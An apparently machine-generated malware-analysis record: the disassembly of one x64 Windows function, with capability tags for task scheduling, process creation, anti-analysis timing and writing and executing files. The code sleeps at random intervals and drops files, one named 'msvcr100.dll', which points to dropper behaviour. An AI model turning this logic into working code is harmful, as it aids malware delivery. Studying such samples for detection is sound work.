Function at 0x14000b810
Capabilities:
Check for time delay via gettickcount
Create process on windows
Create thread
Schedule task via at
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x948]
sub rsp, 0xa20
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140273930]
xor rax, rsp
mov qword [rbp + 0x900], rax
mov r12, rcx
xor r13d, r13d
mov dword [rsp + 0x48], r13d
lea rdi, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0x2a0], rdi
lea r15, vtable.CVolObject.0
mov qword [rbp + 0x2a0], r15
mov qword [rbp + 0x2a8], r13
mov qword [rbp + 0x2b0], r13
lea r14, vtable.CWString.0
mov qword [rbp + 0x2a0], r14
lea rax, [rbp + 0x2c0]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x2c0], rdi
mov qword [rbp + 0x2c0], r15
mov qword [rbp + 0x2c8], r13
mov qword [rbp + 0x2d0], r13
lea rsi, vtable.CVolMem.0
mov qword [rbp + 0x2c0], rsi
mov qword [rbp + 0x2d8], r13
mov qword [rbp + 0x2e8], r13
mov qword [rbp + 0x2e0], r13
mov qword [rbp + 0x2f0], 0x40
mov qword [rbp + 0x2b8], r13
mov qword [rbp + 0x2f0], 0xfe
lea rcx, [rbp + 0x190]
call fcn.14000dc00
mov rbx, rax
lea rcx, [rbp + 0x2a0]
mov rdx, qword [rbp + 0x2a0]
call qword [rdx + 0x88]
mov rcx, qword [rbx + 8]
mov qword [rbp + 0x2a8], rcx
mov rcx, qword [rbx + 0x10]
mov qword [rbp + 0x2b0], rcx
mov rcx, qword [rbx + 0x18]
mov qword [rbp + 0x2b8], rcx
lea rcx, [rbp + 0x2c0]
mov rdx, qword [rbp + 0x2c0]
call qword [rdx + 0x88]
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x2c0]
call fcn.140006cd0
nop
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x1b0], rsi
mov rdx, qword [rbp + 0x1c8]
test rdx, rdx
je 0x14000b98e
lea rcx, [rbp + 0x1b0]
mov rax, qword [rbp + 0x1b0]
call qword [rax + 0x18]
mov qword [rbp + 0x1c8], r13
mov qword [rbp + 0x1d8], r13
mov qword [rbp + 0x1d0], r13
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x190], r15
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
mov qword [rbp - 0x18], r14
lea rax, [rbp + 8]
mov qword [rsp + 0x50], rax
mov qword [rbp + 8], rdi
mov qword [rbp + 8], r15
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r13
mov qword [rbp + 8], rsi
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x38], 0x40
mov qword [rbp], r13
mov qword [rbp + 0x38], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rbp - 0x18], rax
lea rax, [0x140239784]
mov qword [rbp], rax
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x20], 0x40
mov qword [rbp - 0x50], rsi
lea r14, [0x1402349a0]
mov rdx, r14
mov rax, qword [rbp]
test rax, rax
cmovne rdx, rax
lea rcx, [rbp - 0x50]
call fcn.140013da0
nop
lea rdx, [rbp - 0x50]
mov rcx, qword [0x140281c88]
call fcn.140004cf0
nop
mov qword [rbp - 0x50], rsi
mov rdx, qword [rbp - 0x38]
test rdx, rdx
je 0x14000ba8c
lea rcx, [rbp - 0x50]
mov rax, qword [rbp - 0x50]
call qword [rax + 0x18]
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x50], r15
lea rax, [rbp + 8]
mov qword [rsp + 0x50], rax
mov qword [rbp + 8], rsi
mov rdx, qword [rbp + 0x20]
test rdx, rdx
je 0x14000babd
lea rcx, [rbp + 8]
mov rax, qword [rbp + 8]
call qword [rax + 0x18]
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x28], r13
mov qword [rbp + 8], r15
mov qword [rbp - 0x18], r15
mov r8d, 4
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x2a0]
call fcn.140015ae0
nop
mov rdx, qword [rax + 0x18]
test rdx, rdx
jne 0x14000baff
cmp qword [rax + 0x48], rdx
mov rdx, r14
je 0x14000baff
mov rdx, qword [rax + 0x38]
mov rcx, r13
lea r8, str._365
nop dword [rax]
movzx ebx, word [rdx + rcx*2]
inc rcx
movzx eax, word [r8 + rcx*2 - 2]
sub ebx, eax
jne 0x14000bb27
cmp rcx, 5
jne 0x14000bb10
lea rax, [rsp + 0x78]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x78], rsi
mov rdx, qword [rbp - 0x70]
test rdx, rdx
je 0x14000bb4c
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x78]
call qword [rax + 0x18]
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x68], r13
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x58], r15
test ebx, ebx
jne 0x14000d155
mov qword [rbp + 0xd8], rdi
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], r13
lea rbx, vtable.CWString.0
mov qword [rbp + 0xd8], rbx
lea rax, [rbp + 0xf8]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xf8], rdi
mov qword [rbp + 0xf8], r15
mov qword [rbp + 0x100], r13
mov qword [rbp + 0x108], r13
mov qword [rbp + 0xf8], rsi
mov qword [rbp + 0x110], r13
mov qword [rbp + 0x120], r13
mov qword [rbp + 0x118], r13
mov qword [rbp + 0x128], 0x40
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0x128], 0xfe
lea rcx, vtable.CWConstString.0
mov qword [rbp + 0xd8], rcx
lea rax, str.2009_12_21_20:01:12
mov qword [rbp + 0xf0], rax
mov rcx, r14
mov rax, qword [rbp + 0xf0]
test rax, rax
cmovne rcx, rax
call fcn.1400165b0
movaps xmm6, xmm0
lea rax, [rbp + 0xf8]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0xf8], rsi
mov rdx, qword [rbp + 0x110]
test rdx, rdx
je 0x14000bc59
lea rcx, [rbp + 0xf8]
mov rax, qword [rbp + 0xf8]
call qword [rax + 0x18]
mov qword [rbp + 0x110], r13
mov qword [rbp + 0x120], r13
mov qword [rbp + 0x118], r13
mov qword [rbp + 0xf8], r15
mov qword [rbp + 0xd8], r15
call fcn.140016a60
comisd xmm6, xmm0
jbe 0x14000bda9
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
mov qword [rbp - 0x18], rbx
lea rax, [rbp + 8]
mov qword [rsp + 0x50], rax
mov qword [rbp + 8], rdi
mov qword [rbp + 8], r15
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r13
mov qword [rbp + 8], rsi
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x38], 0x40
mov qword [rbp], r13
mov qword [rbp + 0x38], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rbp - 0x18], rax
lea rax, [0x140239784]
mov qword [rbp], rax
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x20], 0x40
mov qword [rbp - 0x50], rsi
mov rax, qword [rbp]
test rax, rax
cmovne r14, rax
mov rdx, r14
lea rcx, [rbp - 0x50]
call fcn.140013da0
nop
lea rdx, [rbp - 0x50]
mov rcx, qword [0x140281c88]
call fcn.140004cf0
nop
mov qword [rbp - 0x50], rsi
mov rdx, qword [rbp - 0x38]
test rdx, rdx
je 0x14000bd5f
lea rcx, [rbp - 0x50]
mov rax, qword [rbp - 0x50]
call qword [rax + 0x18]
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x50], r15
lea rax, [rbp + 8]
mov qword [rsp + 0x50], rax
mov qword [rbp + 8], rsi
mov rdx, qword [rbp + 0x20]
test rdx, rdx
je 0x14000bd90
lea rcx, [rbp + 8]
mov rax, qword [rbp + 8]
call qword [rax + 0x18]
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x28], r13
mov qword [rbp + 8], r15
mov qword [rbp - 0x18], r15
jmp 0x14000da81
lea rcx, [rbp + 0x1e8]
call fcn.1400090d0
nop
mov r8d, 4
lea rdx, [rbp + 0x240]
mov rcx, rax
call fcn.140015ae0
nop
mov r8d, 1
lea rdx, [rbp + 0x48]
mov rcx, rax
call fcn.140015840
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x14000bdf5
cmp qword [rax + 0x48], rcx
mov rcx, r14
je 0x14000bdf5
mov rcx, qword [rax + 0x38]
movzx ebx, word [rcx]
sub ebx, 0x2a
jne 0x14000be07
movzx ebx, word [rcx + 2]
movzx eax, r13w
sub ebx, eax
lea rax, [rbp + 0x68]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x68], rsi
mov rdx, qword [rbp + 0x80]
test rdx, rdx
je 0x14000be2b
lea rcx, [rbp + 0x68]
mov rax, qword [rbp + 0x68]
call qword [rax + 0x18]
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x48], r15
lea rax, [rbp + 0x260]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x260], rsi
mov rdx, qword [rbp + 0x278]
test rdx, rdx
je 0x14000be78
lea rcx, [rbp + 0x260]
mov rax, qword [rbp + 0x260]
call qword [rax + 0x18]
mov qword [rbp + 0x278], r13
mov qword [rbp + 0x288], r13
mov qword [rbp + 0x280], r13
mov qword [rbp + 0x260], r15
mov qword [rbp + 0x240], r15
lea rax, [rbp + 0x208]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x208], rsi
mov rdx, qword [rbp + 0x220]
test rdx, rdx
je 0x14000becb
lea rcx, [rbp + 0x208]
mov rax, qword [rbp + 0x208]
call qword [rax + 0x18]
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x230], r13
mov qword [rbp + 0x228], r13
mov qword [rbp + 0x208], r15
mov qword [rbp + 0x1e8], r15
test ebx, ebx
je 0x14000da81
mov rbx, qword [0x140281e18]
mov rax, qword [rbx + 0x38]
test rax, rax
jne 0x14000bf71
mov qword [rbx + 0x38], 1
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14000bf1d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rbx + 0x30], r13
lea rax, [0x140009e80]
mov qword [rbx + 0x40], rax
lea rax, [0x140281e00]
mov qword [rbx + 0x48], rax
lea rax, [rbx + 0x20]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r13d
lea r9, [rbx + 0x10]
lea r8, [0x1400145a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x18], rax
test rax, rax
jne 0x14000bf71
mov qword [rbx + 0x38], r13
mov qword [rbp + 0x470], rdi
mov qword [rbp + 0x470], r15
mov qword [rbp + 0x478], r13
mov qword [rbp + 0x480], r13
lea rcx, vtable.CWString.0
mov qword [rbp + 0x470], rcx
lea rax, [rbp + 0x490]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x490], rdi
mov qword [rbp + 0x490], r15
mov qword [rbp + 0x498], r13
mov qword [rbp + 0x4a0], r13
mov qword [rbp + 0x490], rsi
mov qword [rbp + 0x4a8], r13
mov qword [rbp + 0x4b8], r13
mov qword [rbp + 0x4b0], r13
mov qword [rbp + 0x4c0], 0x40
mov qword [rbp + 0x488], r13
mov qword [rbp + 0x4c0], 0xfe
mov qword [rbp + 0x130], rdi
mov qword [rbp + 0x130], r15
mov qword [rbp + 0x138], r13
mov qword [rbp + 0x140], r13
mov qword [rbp + 0x130], rcx
lea rax, [rbp + 0x150]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x150], rdi
mov qword [rbp + 0x150], r15
mov qword [rbp + 0x158], r13
mov qword [rbp + 0x160], r13
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x168], r13
mov qword [rbp + 0x178], r13
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x180], 0x40
mov qword [rbp + 0x148], r13
mov qword [rbp + 0x180], 0xfe
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x48], r15
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x48], rcx
lea rax, [rbp + 0x68]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x68], rdi
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x68], rsi
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x98], 0x40
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x98], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rbp + 0x48], rax
lea r8, [0x1402397c8]
mov qword [rbp + 0x60], r8
mov rdx, r14
mov rax, qword [rbp + 0x60]
test rax, rax
cmovne rdx, rax
mov rdi, 0xffffffffffffffff
mov rax, qword [rbp + 0x2b8]
test rax, rax
je 0x14000c12c
mov rbx, rdi
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000c120
jmp 0x14000c143
mov rbx, qword [rbp + 0x2e8]
test rbx, rbx
jne 0x14000c13d
mov rbx, r13
jmp 0x14000c143
shr rbx, 1
dec rbx
lea rcx, [rbp + 0x2a0]
call fcn.140015e60
sub ebx, eax
movsxd r8, ebx
dec r8
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x2a0]
call fcn.140015ae0
mov rbx, rax
lea rcx, [rbp + 0x130]
mov rdx, qword [rbp + 0x130]
call qword [rdx + 0x88]
mov rcx, qword [rbx + 8]
mov qword [rbp + 0x138], rcx
mov rcx, qword [rbx + 0x10]
mov qword [rbp + 0x140], rcx
mov rcx, qword [rbx + 0x18]
mov qword [rbp + 0x148], rcx
lea rcx, [rbp + 0x150]
mov rdx, qword [rbp + 0x150]
call qword [rdx + 0x88]
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x150]
call fcn.140006cd0
nop
lea rax, [rbp + 0x380]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x380], rsi
mov rdx, qword [rbp + 0x398]
test rdx, rdx
je 0x14000c1f7
lea rcx, [rbp + 0x380]
mov rax, qword [rbp + 0x380]
call qword [rax + 0x18]
mov qword [rbp + 0x398], r13
mov qword [rbp + 0x3a8], r13
mov qword [rbp + 0x3a0], r13
mov qword [rbp + 0x380], r15
mov qword [rbp + 0x360], r15
lea rax, [rbp + 0x68]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x68], rsi
mov rdx, qword [rbp + 0x80]
test rdx, rdx
je 0x14000c23e
lea rcx, [rbp + 0x68]
mov rax, qword [rbp + 0x68]
call qword [rax + 0x18]
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x48], r15
mov rcx, qword [rbp + 0x148]
test rcx, rcx
je 0x14000c27c
mov rax, rdi
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x14000c270
jmp 0x14000c293
mov rax, qword [rbp + 0x178]
test rax, rax
jne 0x14000c28d
mov rax, r13
jmp 0x14000c293
shr rax, 1
dec rax
movsxd r8, eax
sub r8, 7
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 0x130]
call fcn.140015840
mov rbx, rax
lea rcx, [rbp + 0x130]
mov rdx, qword [rbp + 0x130]
call qword [rdx + 0x88]
mov rcx, qword [rbx + 8]
mov qword [rbp + 0x138], rcx
mov rcx, qword [rbx + 0x10]
mov qword [rbp + 0x140], rcx
mov rcx, qword [rbx + 0x18]
mov qword [rbp + 0x148], rcx
lea rcx, [rbp + 0x150]
mov rdx, qword [rbp + 0x150]
call qword [rdx + 0x88]
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x150]
call fcn.140006cd0
nop
lea rax, [rbp + 0x3d8]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x3d8], rsi
mov rdx, qword [rbp + 0x3f0]
test rdx, rdx
je 0x14000c33a
lea rcx, [rbp + 0x3d8]
mov rax, qword [rbp + 0x3d8]
call qword [rax + 0x18]
mov qword [rbp + 0x3f0], r13
mov qword [rbp + 0x400], r13
mov qword [rbp + 0x3f8], r13
mov qword [rbp + 0x3d8], r15
mov qword [rbp + 0x3b8], r15
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1e8], r15
mov qword [rbp + 0x1f0], r13
mov qword [rbp + 0x1f8], r13
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x208], r13
mov qword [rbp + 0x218], 0x40
mov rbx, qword [rbp + 0x148]
test rbx, rbx
jne 0x14000c3dd
cmp qword [rbp + 0x178], rbx
jne 0x14000c3d6
mov rbx, r14
lea rcx, [rbp + 0x8f0]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx r9d, word [rbp + 0x8f4]
jmp 0x14000c3fb
mov rbx, qword [rbp + 0x168]
lea rcx, [rbp + 0x8f0]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx r9d, word [rbp + 0x8f4]
test rbx, rbx
je 0x14000c4c2
mov r15d, r9d
cmp word [rbx], 0
je 0x14000c4bb
mov rsi, rdi
nop dword [rax + rax]
inc rsi
cmp word [rbx + rsi*2], 0
jne 0x14000c410
shr rsi, 1
je 0x14000c4b4
mov rdx, rsi
lea rcx, [rbp + 0x1e8]
call fcn.140013bb0
mov r8, rax
mov r9d, r15d
nop dword [rax + rax]
movzx edx, word [rbx]
lea ecx, [rdx - 0x30]
cmp cx, 9
ja 0x14000c451
sub dl, 0x30
jmp 0x14000c46f
lea eax, [rdx - 0x41]
cmp ax, 5
ja 0x14000c45f
sub dl, 0x37
jmp 0x14000c46f
lea eax, [rdx - 0x61]
cmp ax, 5
ja 0x14000c46d
sub dl, 0x57
jmp 0x14000c46f
mov dl, 0xff
movzx ecx, word [rbx + 2]
lea eax, [rcx - 0x30]
cmp ax, 9
ja 0x14000c481
sub cl, 0x30
jmp 0x14000c49f
lea eax, [rcx - 0x41]
cmp ax, 5
ja 0x14000c48f
sub cl, 0x37
jmp 0x14000c49f
lea eax, [rcx - 0x61]
cmp ax, 5
ja 0x14000c49d
sub cl, 0x57
jmp 0x14000c49f
mov cl, 0xff
shl dl, 4
or dl, cl
mov byte [r8], dl
inc r8
add rbx, 4
sub rsi, 1
jne 0x14000c440
lea rsi, vtable.CVolMem.0
lea r15, vtable.CVolObject.0
mov r8d, r9d
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp - 0x18]
call fcn.14000db10
nop
mov rdx, rax
lea rcx, [rbp + 0x4d0]
call fcn.14000ac30
nop
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.14000e4a0
nop
lea rcx, [rbp + 0x4d0]
call fcn.140009560
nop
mov qword [rbp - 0x18], rsi
mov rdx, qword [rbp]
test rdx, rdx
je 0x14000c51b
lea rcx, [rbp - 0x18]
mov rax, qword [rbp - 0x18]
call qword [rax + 0x18]
mov qword [rbp], r13
mov qword [rbp + 0x10], r13
mov qword [rbp + 8], r13
mov qword [rbp - 0x18], r15
mov qword [rbp + 0x1e8], rsi
mov rdx, qword [rbp + 0x200]
test rdx, rdx
je 0x14000c54f
lea rcx, [rbp + 0x1e8]
mov rax, qword [rbp + 0x1e8]
call qword [rax + 0x18]
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x208], r13
mov qword [rbp + 0x1e8], r15
lea rcx, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x190], r15
mov qword [rbp + 0x198], r13
mov qword [rbp + 0x1a0], r13
lea rax, vtable.CWString.0
mov qword [rbp + 0x190], rax
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x1b0], rcx
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x1b8], r13
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1b0], rsi
mov qword [rbp + 0x1c8], r13
mov qword [rbp + 0x1d8], r13
mov qword [rbp + 0x1d0], r13
mov qword [rbp + 0x1e0], 0x40
mov qword [rbp + 0x1a8], r13
mov qword [rbp + 0x1e0], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rbp + 0x190], rax
lea rax, [0x1402398a4]
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x148]
test rax, rax
je 0x14000c63c
mov rbx, rdi
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000c630
jmp 0x14000c653
mov rbx, qword [rbp + 0x178]
test rbx, rbx
jne 0x14000c64d
mov rbx, r13
jmp 0x14000c653
shr rbx, 1
dec rbx
mov rdx, r14
mov rax, qword [rbp + 0x1a8]
test rax, rax
cmovne rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140015e60
sub ebx, eax
dec ebx
movsxd r8, ebx
lea rdx, [rbp + 0x528]
lea rcx, [rbp + 0x130]
call fcn.140015ae0
nop
mov rdx, rax
lea rcx, [rbp + 0x470]
call fcn.14000e4a0
nop
lea rcx, [rbp + 0x528]
call fcn.140009560
nop
lea rcx, [rbp + 0x190]
call fcn.14000e080
mov rcx, qword [rbp + 0x488]
test rcx, rcx
je 0x14000c6cf
mov rax, rdi
inc rax
cmp word [rcx + rax*2], 0
jne 0x14000c6c3
jmp 0x14000c6e6
mov rax, qword [rbp + 0x4b8]
test rax, rax
jne 0x14000c6e0
mov rax, r13
jmp 0x14000c6e6
shr rax, 1
dec rax
mov rcx, qword [rbp + 0x148]
test rcx, rcx
je 0x14000c6fe
inc rdi
cmp word [rcx + rdi*2], 0
jne 0x14000c6f2
jmp 0x14000c715
mov rdi, qword [rbp + 0x178]
test rdi, rdi
jne 0x14000c70f
mov rdi, r13
jmp 0x14000c715
shr rdi, 1
dec rdi
sub edi, eax
movsxd r8, edi
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x130]
call fcn.140015840
nop
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.14000e4a0
nop
lea rcx, [rbp + 0x580]
call fcn.140009560
cmp qword [0x140282010], 0
jne 0x14000c76c
mov qword [0x140282010], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1401bc070
call fcn.1401bc044
movsxd rcx, eax
movabs rbx, 0x82f0e93d1f74e009
mov rax, rbx
imul rcx
add rdx, rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x3e9
sub rcx, rax
add ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0x470]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x630]
call fcn.140015fc0
nop
lea r8, [0x1402397d0]
mov rdx, rax
lea rcx, [rbp + 0x5d8]
call fcn.140016170
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x14000c7f3
cmp qword [rax + 0x48], rcx
mov rcx, r14
je 0x14000c7f3
mov rcx, qword [rax + 0x38]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov esi, 2
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
lea rcx, [rbp + 0x5d8]
call fcn.140009560
nop
lea rcx, [rbp + 0x630]
call fcn.140009560
cmp qword [0x140282010], 0
jne 0x14000c858
mov qword [0x140282010], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1401bc070
call fcn.1401bc044
movsxd rcx, eax
mov rax, rbx
imul rcx
add rdx, rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x3e9
sub rcx, rax
add ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x240], r15
mov qword [rbp + 0x248], r13
mov qword [rbp + 0x250], r13
lea rax, vtable.CVolMem.0
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x258], r13
mov qword [rbp + 0x268], r13
mov qword [rbp + 0x260], r13
mov qword [rbp + 0x270], 0x40
mov dword [rsp + 0x48], 0x80
mov r9d, 0xa
lea r8, [rbp + 0x240]
mov edx, 0x1f7
lea rcx, [0x140281c10]
mov rax, qword [0x140281c10]
call qword [rax + 0x30]
lea rdx, [rbp + 0x240]
mov rcx, rdi
call fcn.14000e510
mov ebx, 0x80
btr ebx, 7
mov dword [rsp + 0x48], ebx
lea rax, vtable.CVolMem.0
mov qword [rbp + 0x240], rax
mov rdx, qword [rbp + 0x258]
test rdx, rdx
je 0x14000c951
lea rcx, [rbp + 0x240]
mov rax, qword [rbp + 0x240]
call qword [rax + 0x18]
mov qword [rbp + 0x258], r13
mov qword [rbp + 0x268], r13
mov qword [rbp + 0x260], r13
mov qword [rbp + 0x240], r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [0x140282010], 0
jne 0x14000c998
mov qword [0x140282010], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1401bc070
call fcn.1401bc044
movsxd rcx, eax
movabs rax, 0x82f0e93d1f74e009
imul rcx
add rdx, rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x3e9
sub rcx, rax
add ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, str.msvcr100.dll
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x688]
call fcn.140016170
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x14000ca05
cmp qword [rax + 0x48], rcx
mov rcx, r14
je 0x14000ca05
mov rcx, qword [rax + 0x38]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
lea rcx, [rbp + 0x688]
call fcn.140009560
cmp qword [0x140282010], 0
jne 0x14000ca58
mov qword [0x140282010], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.1401bc070
call fcn.1401bc044
movsxd rcx, eax
movabs rax, 0x82f0e93d1f74e009
imul rcx
add rdx, rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x3e9
sub rcx, rax
add ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], r13
lea rax, vtable.CVolMem.0
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x20], 0x40
or ebx, 4
mov dword [rsp + 0x48], ebx
mov r9d, 0xa
lea r8, [rbp - 0x50]
mov edx, 0x1f5
lea rcx, [0x140281c10]
mov rax, qword [0x140281c10]
call qword [rax + 0x30]
mov rax, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x38]
test rax, rax
cmove rdx, r13
mov dword [rbp + 0x40], r13d
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x40]
mov r8d, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
and ebx, 0xfffffffb
mov dword [rsp + 0x48], ebx
lea rax, vtable.CVolMem.0
mov qword [rbp - 0x50], rax
mov rdx, qword [rbp - 0x38]
test rdx, rdx
je 0x14000cb40
lea rcx, [rbp - 0x50]
mov rax, qword [rbp - 0x50]
call qword [rax + 0x18]
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x50], r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [0x140239800]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x410]
call fcn.140016170
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x14000cb95
cmp qword [rax + 0x48], rcx
